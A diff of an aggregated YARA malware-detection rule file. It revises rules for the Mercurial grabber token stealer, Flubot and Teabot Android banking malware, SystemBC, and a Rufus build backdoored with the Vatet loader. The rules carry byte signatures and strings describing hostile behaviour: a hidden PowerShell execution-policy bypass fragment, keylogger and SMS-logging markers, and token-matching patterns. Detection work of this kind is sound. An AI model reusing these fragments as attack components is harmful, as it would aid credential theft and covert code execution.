00 00 0f 85 27 07 00 00 48 89 05 a5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 45 63 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 a8 f8 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 9a af 40 00 48 89 15 9b af 40 00 83 3d e4 08 45 00 00 0f 1f 40 00 0f 85 a4 06 00 00 48 89 05 73 af 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 d5 62 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 36 f8 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 b0 40 00 48 89 15 c9 b0 40 00 83 3d 72 08 45 00 00 0f 85 22 06 00 00 48 89 05 a5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 69 62 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 c8 f7 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d fa ad 40 00 48 89 15 fb ad 40 00 83 3d 04 08 45 00 00 0f 1f 40 00 0f 85 9f 05 00 00 48 89 05 d3 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 f9 61 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 56 f7 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 ae 40 00 48 89 15 c9 ae 40 00 83 3d 92 07 45 00 00 0f 85 1c 05 00 00 48 89 05 a5 ae 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 8d 61 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 e8 f6 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 7a ad 40 00 48 89 15 7b ad 40 00 83 3d 24 07 45 00 00 0f 1f 40 00 0f 85 99 04 00 00 48 89 05 53 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 1d 61 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 76 f6 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 ae 40 00 48 89 15 c9 ae 40 00 83 3d b2 06 45 00 00 0f 85 1a 04 00 00 48 89 05 a5 ae 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 b1 60 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 08 f6 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d ba ab 40 00 48 89 15 bb ab 40 00 83 3d 44 06 45 00 00 0f 1f 40 00 0f 85 97 03 00 00 48 89 05 93 ab 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 41 60 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 96 f5 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ad 40 00 48 89 15 29 ad 40 00 83 3d d2 05 45 00 00 0f 85 18 03 00 00 48 89 05 05 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 d5 5f 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 28 f5 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d fa ab 40 00 48 89 15 fb ab 40 00 83 3d 64 05 45 00 00 0f 1f 40 00 0f 85 95 02 00 00 48 89 05 d3 ab 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 65 5f 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 b6 f4 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ad 40 00 48 89 15 29 ad 40 00 83 3d f2 04 45 00 00 0f 85 16 02 00 00 48 89 05 05 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 f9 5e 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 48 f4 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a aa 40 00 48 89 15 5b aa 40 00 83 3d 84 04 45 00 00 0f 1f 40 00 0f 85 90 01 00 00 48 89 05 33 aa 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 89 5e 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 d6 f3 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ab 40 00 48 89 15 29 ab 40 00 83 3d 12 04 45 00 00 0f 85 11 01 00 00 48 89 05 05 ab 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 1d 5e 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 68 f3 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d da a9 40 00 48 89 15 db a9 40 00 83 3d a4 03 45 00 00 0f 1f 40 00 0f 85 89 00 00 00 48 89 05 b3 a9 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 ad 5d 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 f6 f2 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ab 40 00 48 89 15 29 ab 40 00 83 3d 32 03 45 00 00 } - $seq2 = { 48 c7 40 70 00 00 00 00 48 8b 48 08 48 89 0c 24 e8 01 47 ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 e8 70 e1 00 00 48 8b 84 24 b8 04 00 00 48 8b 48 10 48 89 0c 24 e8 9b 6d ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 e8 4a e1 00 00 48 8b 84 24 b8 04 00 00 48 8b 48 10 48 89 0c 24 e8 75 6d ff ff 48 8b 44 24 08 48 8b 4c 24 10 48 8b 54 24 18 48 8b 9c 24 80 01 00 00 48 89 1c 24 c6 44 24 08 16 48 89 44 24 10 48 89 4c 24 18 48 89 54 24 20 e8 41 4e fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 0f 85 9c 17 00 00 0f 57 c0 0f 11 84 24 18 02 00 00 0f 11 84 24 28 02 00 00 0f 11 84 24 38 02 00 00 48 8b 84 24 b8 04 00 00 48 8b 88 b0 00 00 00 48 8b 11 48 8b 59 08 48 8b 49 10 48 89 94 24 30 02 00 00 48 89 9c 24 38 02 00 00 48 89 8c 24 40 02 00 00 48 8d 8c 24 18 02 00 00 48 89 0c 24 e8 2d a2 ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 90 e8 7b e0 00 00 48 8d 84 24 18 02 00 00 48 89 04 24 e8 0a a2 ff ff 48 8b 44 24 08 48 8b 4c 24 10 48 8b 54 24 18 48 8b 9c 24 80 01 00 00 48 89 1c 24 c6 44 24 08 16 48 89 44 24 10 48 89 4c 24 18 48 89 54 24 20 e8 76 4d fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 66 0f 1f 44 00 00 0f 85 ab 16 00 00 48 8b 84 24 b8 04 00 00 48 8b 48 10 80 79 53 00 0f 85 a9 15 00 00 48 8b 48 18 48 8b 51 20 48 8b 0a 48 8b 9c 24 80 01 00 00 0f b7 73 40 66 89 34 24 ff d1 48 8b 44 24 08 48 89 84 24 f8 00 00 00 48 8b 4c 24 10 48 89 8c 24 38 01 00 00 48 8b 58 20 48 8b b4 24 80 01 00 00 48 8b 7e 48 4c 8b 84 24 b8 04 00 00 4d 8b 88 b0 00 00 00 4d 8b 50 08 4d 8b 58 10 48 89 0c 24 48 89 7c 24 08 4c 89 4c 24 10 4c 89 54 24 18 4c 89 5c 24 20 ff d3 48 8b 44 24 28 48 8b 4c 24 30 48 8b 5c 24 38 48 83 7c 24 30 00 0f 85 c0 14 00 00 48 85 c0 0f 84 93 00 00 00 48 89 84 24 30 01 00 00 48 8b 08 48 8b 50 08 48 8b 58 10 48 85 c9 0f 84 7b 13 00 00 48 8b 84 24 c0 01 00 00 48 89 04 24 48 89 4c 24 08 48 89 54 24 10 48 89 5c 24 18 e8 2c df 00 00 48 8b 84 24 30 01 00 00 48 8b 08 48 8b 50 08 48 8b 58 10 48 85 c9 0f 84 21 12 00 00 48 8b 84 24 80 01 00 00 48 89 04 24 c6 44 24 08 16 48 89 4c 24 10 48 89 54 24 18 48 89 5c 24 20 e8 2b 4c fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 0f 85 c6 11 00 00 48 8b 84 24 80 01 00 00 48 8b 48 48 48 83 b9 90 00 00 00 01 90 0f 8d 0b 10 00 00 31 c9 48 89 8c 24 78 01 00 00 48 8d 05 e9 5c 24 00 48 89 04 24 48 c7 44 24 08 04 00 00 00 48 c7 44 24 10 04 00 00 00 e8 4e cd e2 ff 48 8b 44 24 18 c6 00 0e 48 8b 8c 24 c0 01 00 00 48 89 0c 24 48 89 44 24 08 48 c7 44 24 10 04 00 00 00 48 c7 44 24 18 04 00 00 00 0f 1f 00 e8 5b de 00 00 48 8d 05 94 5c 24 00 48 89 04 24 48 c7 44 24 08 04 00 00 00 48 c7 44 24 10 04 00 00 00 e8 f9 cc e2 ff 48 8b 44 24 18 c6 00 0e 48 8b 8c 24 80 01 00 00 48 89 0c 24 c6 44 24 08 16 48 89 44 24 10 48 c7 44 24 18 04 00 00 00 48 c7 44 24 20 04 00 00 00 e8 44 4b fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 0f 85 1f 0f 00 00 48 8b 84 24 80 01 00 00 48 89 04 24 66 90 e8 bb 43 fe ff 48 8b 44 24 10 48 8b 4c 24 18 48 83 7c 24 10 00 0f 85 d6 0e 00 00 48 8b 84 24 80 01 00 00 48 89 04 24 e8 34 4c fe ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 10 48 8b 5c 24 10 48 8b 74 24 08 48 8b 7c 24 08 48 83 7c 24 18 00 0f 85 7b 0e 00 00 48 8b 84 24 80 01 00 00 48 8b 48 48 48 83 b9 90 00 00 00 01 0f 8c 55 0e 00 00 48 8d 0d e9 3f 26 00 66 0f 1f 84 00 00 00 00 00 48 39 cf 0f 85 30 0e 00 00 48 89 94 24 b8 01 00 00 0f 85 4f 0d 00 00 48 89 14 24 0f 1f 44 00 00 e8 db 9e ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 e8 2a dd 00 00 48 c7 84 24 80 03 00 00 00 00 00 00 48 8d bc 24 88 03 00 00 0f 57 c0 48 8d 7f f0 66 0f 1f 84 00 00 00 00 00 66 0f 1f 44 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 de c6 e4 ff 48 8b 6d 00 48 8b 84 24 b8 01 00 00 48 8b 48 18 48 8b 50 20 48 8b 58 28 48 89 8c 24 80 03 00 00 48 89 94 24 88 03 00 00 48 89 9c 24 90 03 00 00 48 8b 8c 24 80 01 00 00 48 89 0c 24 48 8b 94 24 80 03 00 00 48 89 54 24 08 48 8d 7c 24 10 48 8d b4 24 88 03 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 ca c9 e4 ff 48 8b 6d 00 e8 43 27 00 00 48 8b 84 24 80 00 00 00 48 8b 8c 24 88 00 00 00 48 83 bc 24 80 00 00 00 00 0f 85 4a 0c 00 00 48 8b 94 24 b8 01 00 00 48 83 7a 20 00 0f 84 26 0c 00 00 48 8b 94 24 80 01 00 00 48 8b 8a 98 00 00 00 48 8b 9a 90 00 00 00 48 85 c9 0f 86 7e 13 00 00 48 8b 03 48 8b 88 a0 00 00 00 48 8b 80 a8 00 00 00 48 89 8c 24 f0 00 00 00 48 89 84 24 20 01 00 00 48 89 14 24 e8 88 4a fe ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 08 48 8b 5c 24 10 48 83 7c 24 18 00 0f 85 9d 0b 00 00 48 8b 84 24 f0 00 00 00 48 8b 8c 24 20 01 00 00 48 89 94 24 00 01 00 00 48 89 8c 24 20 01 00 00 48 89 84 24 f0 00 00 00 48 89 9c 24 40 01 00 00 48 8b b4 24 80 01 00 00 48 8b 7e 48 48 83 } - $seq3 = { 48 89 34 24 e8 65 6c fe ff 48 8d bc 24 f8 03 00 00 48 8d 74 24 08 48 89 6c 24 f0 48 8d 6c 24 f0 e8 2f be e4 ff 48 8b 6d 00 48 8b 84 24 80 01 00 00 48 8b 48 48 48 8b 51 58 48 8b 0a 48 89 e7 48 8d b4 24 f8 03 00 00 0f 1f 80 00 00 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 f7 bd e4 ff 48 8b 6d 00 ff d1 48 8b 84 24 b0 00 00 00 48 8b 8c 24 b8 00 00 00 48 83 bc 24 b0 } + $s1 = { 73 ?? 00 00 0a 0b 07 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 0a 6f ?? 00 00 0a 0c 08 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a 0d 09 6f ?? 00 00 0a 0a 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 06 28 ?? 00 00 0a de 0a 07 2c 06 07 6f ?? 00 00 0a dc de 1a 13 04 72 [2] 00 70 11 04 6f ?? 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a de 00 2a } + $s2 = { 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 0a 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 0b 02 06 72 [2] 00 70 07 28 ?? 00 00 0a 7d ?? 00 00 04 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 0c 02 72 [2] 00 70 02 7b ?? 00 00 04 72 [2] 00 70 08 28 ?? 00 00 0a 7d ?? 00 00 04 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 02 7b ?? 00 00 04 28 ?? 00 00 0a 1f 16 63 21 00 b0 ca a2 4a 01 00 00 58 0d 09 28 ?? 00 00 0a 13 05 12 05 28 ?? 00 00 0a 13 04 02 12 04 fe 16 ?? 00 00 01 6f ?? 00 00 0a 7d ?? 00 00 04 2a } + $s3 = { 72 [2] 00 70 73 ?? 00 00 0a 0a 06 6f ?? 00 00 0a 6f ?? 00 00 0a 0c 2b 75 08 6f ?? 00 00 0a 74 ?? 00 00 01 0b 07 72 [2] 00 70 6f ?? 00 00 0a 2c 16 02 07 72 [2] 00 70 6f ?? 00 00 0a 6f ?? 00 00 0a 7d ?? 00 00 04 07 72 [2] 00 70 6f ?? 00 00 0a 2c 16 02 07 72 [2] 00 70 6f ?? 00 00 0a 6f ?? 00 00 0a 7d ?? 00 00 04 07 72 ?? 19 00 70 6f ?? 00 00 0a 2c 16 02 07 72 ?? 19 00 70 6f ?? 00 00 0a 6f ?? 00 00 0a 7d ?? 00 00 04 08 6f ?? 00 00 0a 2d 83 de 0a 08 2c 06 08 6f ?? 00 00 0a dc 2a } + $x1 = "---------------- mercurial grabber ----------------" fullword wide + $x2 = { 5c 00 73 00 2a 00 3a 00 5c 00 73 00 2a 00 28 00 22 00 28 00 3f 00 3a 00 5c 00 5c 00 22 00 7c 00 5b 00 5e 00 22 00 5d 00 29 00 2a 00 3f } + $x3 = { 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 32 00 34 00 7d 00 5c 00 2e 00 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 36 00 7d 00 5c 00 2e 00 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 32 00 37 00 7d 00 01 1d 6d 00 66 00 61 00 5c 00 2e 00 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 38 00 34 00 7d } condition: - uint16( 0 ) == 0x5a4d and filesize > 100KB and 2 of ( $seq* ) and 7 of ( $str* ) + uint16( 0 ) == 0x5a4d and filesize > 20KB and 2 of ( $x* ) and 2 of ( $s* ) } /* * YARA Rule Set * Repository Name: Telekom Security * Repository: https://github.com/telekom-security/malware_analysis/ - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: bf832d97e8fd292ec5e095e35bde992a6462e71c * Number of Rules: 12 * Skipped: 0 (age), 5 (quality), 0 (score), 0 (importance) @@ -161276,33 +161223,96 @@ rule ARKBIRD_SOLG_APT_Chisel_Hafnium_Feb_2021_1 : FILE * * NO LICENSE SET */ -rule TELEKOM_SECURITY_Vatet_Loader_Rufus_Backdoor : DEFRAY777 +rule TELEKOM_SECURITY_Android_Flubot : FILE { meta: - description = "Detects backdoored Rufus with Vatet Loader of Defray777" + description = "matches on dumped, decrypted V/DEX files of Flubot version > 4.2" + author = "Thomas Barabosch, Telekom Security" + id = "d6d1eebc-961f-5032-af04-4c95f364a74d" + date = "2021-09-14" + modified = "2021-09-14" + reference = "https://github.com/telekom-security/malware_analysis/" + source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/flubot/flubot.yar#L1-L19" + license_url = "N/A" + hash = "37be18494cd03ea70a1fdd6270cef6e3" + logic_hash = "db22e0890dfad7cb9cb1d18aadb406514e5e8874051aa7f07a4bb93da9db68df" + score = 75 + quality = 45 + tags = "FILE" + version = "20210720" + + strings: + $dex = "dex" + $vdex = "vdex" + $s1 = "LAYOUT_MANAGER_CONSTRUCTOR_SIGNATURE" + $s2 = "java/net/HttpURLConnection;" + $s3 = "java/security/spec/X509EncodedKeySpec;" + $s4 = "MANUFACTURER" + + condition: + ($dex at 0 or $vdex at 0 ) and 3 of ( $s* ) +} +rule TELEKOM_SECURITY_Android_Teabot : FILE +{ + meta: + description = "matches on dumped, decrypted V/DEX files of Teabot" + author = "Thomas Barabosch, Telekom Security" + id = "9db701bf-be84-5236-97f7-67043cf3ea93" + date = "2021-09-14" + modified = "2021-09-14" + reference = "https://github.com/telekom-security/malware_analysis/" + source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/flubot/teabot.yar#L1-L23" + license_url = "N/A" + hash = "37be18494cd03ea70a1fdd6270cef6e3" + logic_hash = "5aa7fdb191c36510c7698f3eae40c0b7f15c944b8f60113bbb4e40fc926579b8" + score = 75 + quality = 45 + tags = "FILE" + version = "20210819" + + strings: + $dex = "dex" + $vdex = "vdex" + $s1 = "ERR 404: Unsupported device" + $s2 = "Opening inject" + $s3 = "Prevented samsung power off" + $s4 = "com.huawei.appmarket" + $s5 = "kill_bot" + $s6 = "kloger:" + $s7 = "logged_sms" + $s8 = "xiaomi_autostart" + + condition: + ($dex at 0 or $vdex at 0 ) and 6 of ( $s* ) +} +rule TELEKOM_SECURITY_Win_Systembc_20220311 : FILE +{ + meta: + description = "Detects unpacked SystemBC module" author = "Thomas Barabosch, Deutsche Telekom Security" - id = "1f6fa228-300c-59de-b89c-3cbdce1b6374" - date = "2022-03-18" - modified = "2022-03-18" - reference = "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777" - source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/defray777/vatet_loader.yar#L1-L27" + id = "39e1a131-bd2c-56e9-961f-2b2c31f29e85" + date = "2022-03-11" + modified = "2022-03-13" + reference = "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6" + source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/systembc/systembc.yara#L1-L27" license_url = "N/A" - logic_hash = "3767398112759689078f992eb272cfec3e59f6d9ca30f8da68c2053e1217fd18" + logic_hash = "2f6e2c4c786941f800678e22679d4b81d1097a46c2555ae70e745df1b997c1c8" score = 75 - quality = 20 - tags = "DEFRAY777" + quality = 70 + tags = "FILE" sharing = "TLP:WHITE" - hash_1 = "c9c1caae50459896a15dce30eaca91e49e875207054d98e32e16a3e203446569" - hash_2 = "0cb8fc89541969304f3bf806e938452b36348bdd0280fc8f4e9221993e745334" - in_memory = "False" + hash_1 = "c926338972be5bdfdd89574f3dc2fe4d4f70fd4e24c1c6ac5d2439c7fcc50db5" + in_memory = "True" strings: - $payload_decryption = { 66 0F F8 C1 66 0F EF C2 66 0F F8 C1 } - $mz = "MZ" ascii - $rufus = "https://rufus.ie/" ascii + $sx1 = "-WindowStyle Hidden -ep bypass -file" ascii + $sx2 = "BEGINDATA" ascii + $sx3 = "GET %s HTTP/1.0" ascii + $s5 = "User-Agent:" ascii + $s8 = "ALLUSERSPROFILE" ascii condition: - $mz at 0 and $payload_decryption and $rufus + ( uint16( 0 ) == 0x5a4d and filesize < 30KB and 2 of ( $sx* ) ) or all of them } rule TELEKOM_SECURITY_Fake_Gzip_Bokbot_202104 { @@ -161423,51 +161433,33 @@ rule TELEKOM_SECURITY_Win_Iceid_Core_202104 : FILE condition: uint16( 0 ) == 0x5a4d and filesize < 5000KB and ( $internal_name or all of ( $s* ) ) or all of them } -rule TELEKOM_SECURITY_Get_Windows_Proxy_Configuration : CAPABILITY HACKTOOL +rule TELEKOM_SECURITY_Vatet_Loader_Rufus_Backdoor : DEFRAY777 { meta: - description = "Queries Windows Registry for proxy configuration" + description = "Detects backdoored Rufus with Vatet Loader of Defray777" author = "Thomas Barabosch, Deutsche Telekom Security" - id = "b67b0b70-a95f-5c65-a522-ef4f41e36159" - date = "2022-01-14" - modified = "2023-12-12" - reference = "https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-ie-clientnetworkprotocolimplementation-hklmproxyserver" - source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/hacktools/hacktools.yar#L44-L57" + id = "1f6fa228-300c-59de-b89c-3cbdce1b6374" + date = "2022-03-18" + modified = "2022-03-18" + reference = "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777" + source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/defray777/vatet_loader.yar#L1-L27" license_url = "N/A" - logic_hash = "db52782a56d42f6e460466ea46993490bbbceeb7422d45211f064edb2e37a8eb" + logic_hash = "3767398112759689078f992eb272cfec3e59f6d9ca30f8da68c2053e1217fd18" score = 75 - quality = 70 - tags = "CAPABILITY, HACKTOOL" - - strings: - $a = "Software\\Microsoft\\Windows\\Currentversion\\Internet Settings" ascii wide - $b = "ProxyEnable" ascii wide - $c = "ProxyServer" ascii wide - - condition: - all of them -} -rule TELEKOM_SECURITY_Cn_Utf8_Windows_Terminal : CAPABILITY HACKTOOL -{ - meta: - description = "This is a (dirty) hack to display UTF-8 on Windows command prompt." - author = "Thomas Barabosch, Deutsche Telekom Security" - id = "a1beee71-c526-58fb-a255-dba55ef7535b" - date = "2022-01-14" - modified = "2023-12-12" - reference = "https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf" - source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/hacktools/hacktools.yar#L59-L71" - license_url = "N/A" - logic_hash = "4c91280c3d6d3b48c4ee11bf3d0c2baecee1368fbf3951c0a3bf386454c557cf" - score = 40 quality = 20 - tags = "CAPABILITY, HACKTOOL" + tags = "DEFRAY777" + sharing = "TLP:WHITE" + hash_1 = "c9c1caae50459896a15dce30eaca91e49e875207054d98e32e16a3e203446569" + hash_2 = "0cb8fc89541969304f3bf806e938452b36348bdd0280fc8f4e9221993e745334" + in_memory = "False" strings: - $a = " chcp 65001 " ascii wide + $payload_decryption = { 66 0F F8 C1 66 0F EF C2 66 0F F8 C1 } + $mz = "MZ" ascii + $rufus = "https://rufus.ie/" ascii condition: - $a + $mz at 0 and $payload_decryption and $rufus } rule TELEKOM_SECURITY_Crylock_Binary : FILE { @@ -161539,224 +161531,882 @@ rule TELEKOM_SECURITY_Crylock_Hta : FILE condition: filesize < 100KB and 8 of ( $s* ) } -rule TELEKOM_SECURITY_Android_Teabot : FILE +rule TELEKOM_SECURITY_Get_Windows_Proxy_Configuration : CAPABILITY HACKTOOL { meta: - description = "matches on dumped, decrypted V/DEX files of Teabot" - author = "Thomas Barabosch, Telekom Security" - id = "9db701bf-be84-5236-97f7-67043cf3ea93" - date = "2021-09-14" - modified = "2021-09-14" - reference = "https://github.com/telekom-security/malware_analysis/" - source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/flubot/teabot.yar#L1-L23" + description = "Queries Windows Registry for proxy configuration" + author = "Thomas Barabosch, Deutsche Telekom Security" + id = "b67b0b70-a95f-5c65-a522-ef4f41e36159" + date = "2022-01-14" + modified = "2023-12-12" + reference = "https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-ie-clientnetworkprotocolimplementation-hklmproxyserver" + source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/hacktools/hacktools.yar#L44-L57" license_url = "N/A" - hash = "37be18494cd03ea70a1fdd6270cef6e3" - logic_hash = "5aa7fdb191c36510c7698f3eae40c0b7f15c944b8f60113bbb4e40fc926579b8" + logic_hash = "db52782a56d42f6e460466ea46993490bbbceeb7422d45211f064edb2e37a8eb" score = 75 - quality = 45 - tags = "FILE" - version = "20210819" + quality = 70 + tags = "CAPABILITY, HACKTOOL" strings: - $dex = "dex" - $vdex = "vdex" - $s1 = "ERR 404: Unsupported device" - $s2 = "Opening inject" - $s3 = "Prevented samsung power off" - $s4 = "com.huawei.appmarket" - $s5 = "kill_bot" - $s6 = "kloger:" - $s7 = "logged_sms" - $s8 = "xiaomi_autostart" + $a = "Software\\Microsoft\\Windows\\Currentversion\\Internet Settings" ascii wide + $b = "ProxyEnable" ascii wide + $c = "ProxyServer" ascii wide condition: - ($dex at 0 or $vdex at 0 ) and 6 of ( $s* ) + all of them } -rule TELEKOM_SECURITY_Android_Flubot : FILE +rule TELEKOM_SECURITY_Cn_Utf8_Windows_Terminal : CAPABILITY HACKTOOL { meta: - description = "matches on dumped, decrypted V/DEX files of Flubot version > 4.2" - author = "Thomas Barabosch, Telekom Security" - id = "d6d1eebc-961f-5032-af04-4c95f364a74d" - date = "2021-09-14" - modified = "2021-09-14" - reference = "https://github.com/telekom-security/malware_analysis/" - source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/flubot/flubot.yar#L1-L19" + description = "This is a (dirty) hack to display UTF-8 on Windows command prompt." + author = "Thomas Barabosch, Deutsche Telekom Security" + id = "a1beee71-c526-58fb-a255-dba55ef7535b" + date = "2022-01-14" + modified = "2023-12-12" + reference = "https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf" + source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/hacktools/hacktools.yar#L59-L71" license_url = "N/A" - hash = "37be18494cd03ea70a1fdd6270cef6e3" - logic_hash = "db22e0890dfad7cb9cb1d18aadb406514e5e8874051aa7f07a4bb93da9db68df" + logic_hash = "4c91280c3d6d3b48c4ee11bf3d0c2baecee1368fbf3951c0a3bf386454c557cf" + score = 40 + quality = 20 + tags = "CAPABILITY, HACKTOOL" + + strings: + $a = " chcp 65001 " ascii wide + + condition: + $a +} +/* + * YARA Rule Set + * Repository Name: Volexity + * Repository: https://github.com/volexity/threat-intel + * Retrieval Date: 2026-03-01 + * Git Commit: 